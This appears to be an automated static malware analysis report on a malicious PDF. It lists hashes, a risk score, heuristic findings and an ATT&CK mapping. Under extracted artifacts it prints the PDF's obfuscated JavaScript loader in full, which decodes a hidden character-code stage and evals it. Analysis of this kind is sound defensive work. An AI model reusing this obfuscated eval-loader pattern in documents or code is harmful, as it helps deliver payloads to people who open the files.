Malicious PDF — malware analysis report

Static analysis result for SHA-256 f75a47b0574b4698…

MALICIOUS

PDF

44.5 KB First seen: 2026-05-09
MD5: cf47d8a845a63eb9288f6f8952aae422 SHA-1: 0129fbc77235e483d6f82d5976c06ca23ab8e91e SHA-256: f75a47b0574b46984396e1dc28f72ae2106e608c24f7ac8d91cbc9b2d3087763
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious File

The PDF file contains embedded JavaScript, flagged by multiple heuristics as suspicious. The ML classifier strongly indicates maliciousness. The embedded JavaScript is the primary vector for attack, likely intended to download and execute a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF48 486 bytes
SHA-256: 5d0631e34f5bac7e534dea7ff031c174fc7765bb43e26e3385d57055d990d1b9
Preview script
First 1,000 lines of the extracted script
izmel='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+b+a[1]+(a,t[0])];
tbo=e('ti'+'tle');
s=tbo.substr(t.length + 8,3)+'str';
q=tbo[s](1,(1,t.length + 7));
bvfr=e('S'+'tring.fro'+q);
q=tbo[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	alnp = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	izmel += bvfr(alnp);
}
e(izmel);

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